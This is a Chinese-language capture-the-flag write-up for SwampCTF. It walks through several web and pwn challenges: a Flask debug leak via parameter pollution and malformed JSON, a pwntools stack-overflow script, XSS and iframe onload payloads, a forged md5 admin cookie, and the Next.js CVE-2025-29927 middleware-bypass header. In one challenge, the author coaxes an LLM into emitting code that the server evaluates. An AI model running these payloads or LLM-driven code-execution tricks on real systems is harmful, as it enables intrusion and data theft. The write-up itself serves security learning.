Web
Contamination
题目信息
I have created a safe reverse proxy that only forwards requests to retrieve debug information from the backend. What could go wrong?
翻译:
我创建了一个安全的反向代理,它仅转发从后端检索调试信息的请求。可能会出现什么问题呢?
下载附件,审一下路由
from flask import Flask, jsonify, request
import os
import logging
app = Flask(__name__)
app.config['DEBUG'] = os.getenv('DEBUG', 'False')
app.config['LOG_LEVEL'] = os.getenv('LOG_LEVEL', 'warning')
@app.route('/api', methods=['POST'])
def api():
param = request.args.get('action')
app.logger.info(f"Received param: {param}")
if param == 'getFlag':
try:
data = request.get_json()
app.logger.info(f"Received JSON data: {data}")
return jsonify(message="Prased JSON successfully")
except Exception as e:
app.logger.error(f"Error parsing JSON: {e}")
debug_data = {
'headers': dict(request.headers),
'method': request.method,
'url': request.url,
'env_vars': {key: value for key, value in os.environ.items()}
}
return jsonify(message="Something broke!!", debug_data=debug_data)
if param == 'getInfo':
debug_status = app.config['DEBUG']
log_level = app.config['LOG_LEVEL']
return jsonify(message="Info retrieved successfully!", debug=debug_status, log_level=log_level)
return jsonify(message="Invalid action parameter!", param=param)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
getflag,getinfo都要,但是第一步得绕过授权,即绕过验证,在/api
路由下,他对action没有严格过滤东西,那么用http两次参数就可以绕过的
这一步过去之后,有一个json解析,我们可以看到,只有让json报错,我们才能得到数据,也就是利用代码中的异常处理逻辑泄露敏感数据
try:
data = request.get_json()
app.logger.info(f"Received JSON data: {data}")
return jsonify(message="Prased JSON successfully")
except Exception as e:
app.logger.error(f"Error parsing JSON: {e}")
debug_data = {
'headers': dict(request.headers),
'method': request.method,
'url': request.url,
'env_vars': {key: value for key, value in os.environ.items()}
}
return jsonify(message="Something broke!!", debug_data=debug_data)
所以要怎么让json报错呢
我这边试了传对象看能不能报错,但是是不允许的,于是就尝试利用不可见字符,最一开始用的是�,但是转过去就是不行
是报错了,但是没有带来数据,最后去查了下资料,去改hex,可以改为单个不可见字符,比如e9
如果把它直接当作 UTF‑8 来解析,就会解析失败
MaybeHappyEndingGPT
进去之后感觉就是个ai题,当时环境坏了,一直在审代码,他对ai的配置代码看了基本没什么用,最后全局搜索,找到了这个
import { NextResponse } from 'next/server';
const baseURL = "https://api.novita.ai/v3/openai";
const model = "meta-llama/llama-3.2-1b-instruct";
export async function POST(request: Request) {
try {
const { messages, options } = await request.json();
const response = await fetch(`${baseURL}/chat/completions`, {
method: 'POST',
headers: {
'Authorization': `Bearer ${process.env.NOVITA_API_KEY}`,
'Content-Type': 'application/json',
},
body: JSON.stringify({
messages,
model,
...options,
response_format: { type: "text" }
}),
});
if (!response.ok) {
throw new Error(`API error: ${response.status}`);
}
const result = await response.json();
const content = result.choices[0].message.content;
console.log('Content:', content);
// Vibe coding is always the way
try {
const flag = await eval(content);
return NextResponse.json({
response: flag
});
} catch (error) {
console.error('Error in chat API route:', error);
}
return NextResponse.json({
response: result.choices[0].message.content,
});
} catch (error) {
console.error('Error in chat API route:', error);
return NextResponse.json(
{ error: 'Failed to process chat request' },
{ status: 500 }
);
}
}
const result = await response.json();
const content = result.choices[0].message.content;
console.log('Content:', content);
// Vibe coding is always the way
try {
const flag = await eval(content);
return NextResponse.json({
response: flag
});
} catch (error) {
console.error('Error in chat API route:', error);
}
可以看到,这个对应的就是我们和ai交互的content,其中有那个eval危险函数,而且这也证明了flag文件的存在,现在就得想办法去构造咱们的语句,也就是提示词,让ai实现任意代码执行
最开始测试ai,经典已读乱回,同时带有颜表情什么乱七八糟的,于是开始找提示词,对其一一限制,包括不要有颜表情,严格返回我要的东西,不要对我道歉等等,最后包裹上我们要执行的恶意代码
这边我尝试了好几次,有两种回显,一种是直接回显我后面的命令,一种就是什么这个,处理聊天请求错误,也就是说我的提示词造成了他的错误,稍加修改,但是还是不行,后面在想是不是因为我已有聊天语句,对其后面再聊天的过程造成了影响,于是重开网页,通过抓包输入我的语句
成功打通了,而且也要多试几次才可以,也要注意一点,是要在await其下对应的content去传,才能利用到eval函数
Beginner Pwn 2(PWN)
文件都IDA里看
经典的栈溢出,覆盖返回地址
from pwn import *
io = remote("chals.swampctf.com", 40001)
elf = ELF("./binary")
win = elf.sym["win"]
pl= cyclic(0xa + 0x8)+ p64(win)
io.sendline(pl)
io.interactive()
/计算好偏移量就可以了
/有的时候IDA给的缓冲区长度会有问题,那个时候要去gdb动调一下
但当时我的虚拟机就贼卡,SU的好哥哥在他那打通了
Hidden Message-Board
第一眼XSS
说尽量用<a>
标签去做嘞,上来就测试上了
<a href="x" onmouseover="alert('xss');">xss</a>
测试成功,以为是获取cookie,于是开始+document.cookie
后面才知道是在前端文件中,有一个写好的异步函数checkCode(),同时人家也给提示了
在APP.js中修改即可,逻辑保存
Editor
题目信息:
I took a few hours to create a simple HTML/CSS previewer system. Since there's no way to add JavaScript then my server should be safe, right?
Grab the flag from the http://chals.swampctf.com:47821/flag.txt file on the server to show that this isn't the case.
The flag is in the standard format. Good luck!
flag在/flag.txt中
下载附件,最开始看到都是一些开启实例信息和配置信息以及flask架构一些东西,没找到可利用的点
在app.config.ts文件中看到可能能利用的点
import { Component, effect, ElementRef, model, ViewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { MonacoEditorModule } from 'ngx-monaco-editor-v2';
import { ButtonModule } from 'primeng/button';
import { DrawerModule } from 'primeng/drawer';
@Component({
selector: 'app-root',
imports: [
FormsModule,
MonacoEditorModule,
ButtonModule,
DrawerModule
],
templateUrl: './app.component.html',
styleUrl: './app.component.scss'
})
export class AppComponent {
@ViewChild('previewIframe') previewIframe!: ElementRef<HTMLIFrameElement>;
protected cssEditorOptions = {theme: 'vs-dark', language: 'css', automaticLayout: true, links: false};
protected htmlEditorOptions = {theme: 'vs-dark', language: 'html', automaticLayout: true, links: false};
protected userCSS = model<string>(
`p {
color: red;
}
`);
protected userHTML = model<string>(
`<!DOCTYPE html>
<html>
<head>
<!--If you remove the below style tag, your CSS won't be applied.-->
<style class=\'custom-user-css\'></style>
</head>
<body>
<h1>My First Heading</h1>
<p>My first paragraph.</p>
</body>
</html>
`);
constructor() {
effect(() => this.updateRenderedPage(this.userHTML(), this.userCSS()));
}
ngAfterViewInit() {
this.updateRenderedPage(this.userHTML(), this.userCSS());
}
private updateRenderedPage = (html: string, css: string) => {
const content = html
.replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, "")
.replace(/\son\w+="[^"]*"/gi, "")
.replace(
/<style class=['"]custom-user-css['"]><\/style>/,
`<style class='custom-user-css'>${css}</style>`
);
const iframeDoc = this.previewIframe?.nativeElement.contentDocument!;
iframeDoc?.open();
iframeDoc?.write(content);
iframeDoc?.close();
}
}
private updateRenderedPage = (html: string, css: string) => {
const content = html
.replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, "")
.replace(/\son\w+="[^"]*"/gi, "")
.replace(
/<style class=['"]custom-user-css['"]><\/style>/,
`<style class='custom-user-css'>${css}</style>`
);
const iframeDoc = this.previewIframe?.nativeElement.contentDocument!;
iframeDoc?.open();
iframeDoc?.write(content);
iframeDoc?.close();
}
}
禁掉了<script>
标签,也正则掉了on,被正则移除掉了,但是第三个replace,可以实现CSS注入,紧紧允许替换<style class='custom-user-css'>${css}</style>
的内容,然后将处理后的内容显示在 iframe
中,那么我们就可以构造,去看到/flag.txt
<iframe src="/flag.txt" onload="alert(this.contentDocument.body.innerText)"></iframe>
同时,直接这样也是可以的
<iframe src="/flag.txt" onload="alert()"></iframe>
SwampTech Solutions
这个题是M1ng2u好哥哥做出来的,我想着自己也去做一下
看源码找到登录的用户名和密码
<!-- TEST USER CREDENTIALS -->
<!-- guest:iambutalowlyguest -->
登进去之后是这样的
得是admin才可以访问admin页面,当时群里就在讨论此题,说是个弱cookie,当时就知道怎么弄了,user对应的cookie是guest的md5加密,换成admin的md5加密就好啦
成功访问到admin的页面,进去找到了这个
/process.php在这可以上传xml文件,也就是存在XXE,同时flag就是在/flag.txt中
但是不知道为啥我这抓不到它,qwq
SlowAPI
没看懂
说是next.js的,后来是书鱼哥哥找到的路由/api/auth/status和
/api/protected/flag
bao师傅也去查了,是最新的Next.js中间件漏洞,CVE-2025-29927
一会好好去看看去
GET /api/protected/flag HTTP/1.1
Host: chals.swampctf.com:43611
x-middleware-subrequest: middleware
#######################
请求头
头部字段 值 分析
Host chals.swampctf.com:43611 目标服务器
x-middleware-subrequest middleware 关键头,可能用于服务器中间件验证
ONIST
Party Time!
给了图片,exif里有信息,直接锁定了坐标地域
swampCTF{29.653,-82.333}
Party Time! Level 2
The party just ended, but people are hungry. Find the nearest fast food spot to see where everyone went!
The flag format is swampCTF{...}. You will not need to wrap it yourself.
最一开始,我以为是找附近快餐店的名字,就是flag嘞,但是很快就锁定到了Checkers这家店了,但是提交了店名是错误的,后面想起了去翻评论,说实话有点阴间的,得亏当时书鱼哥哥提醒说他flag是写好的,要不然没想起了去翻评论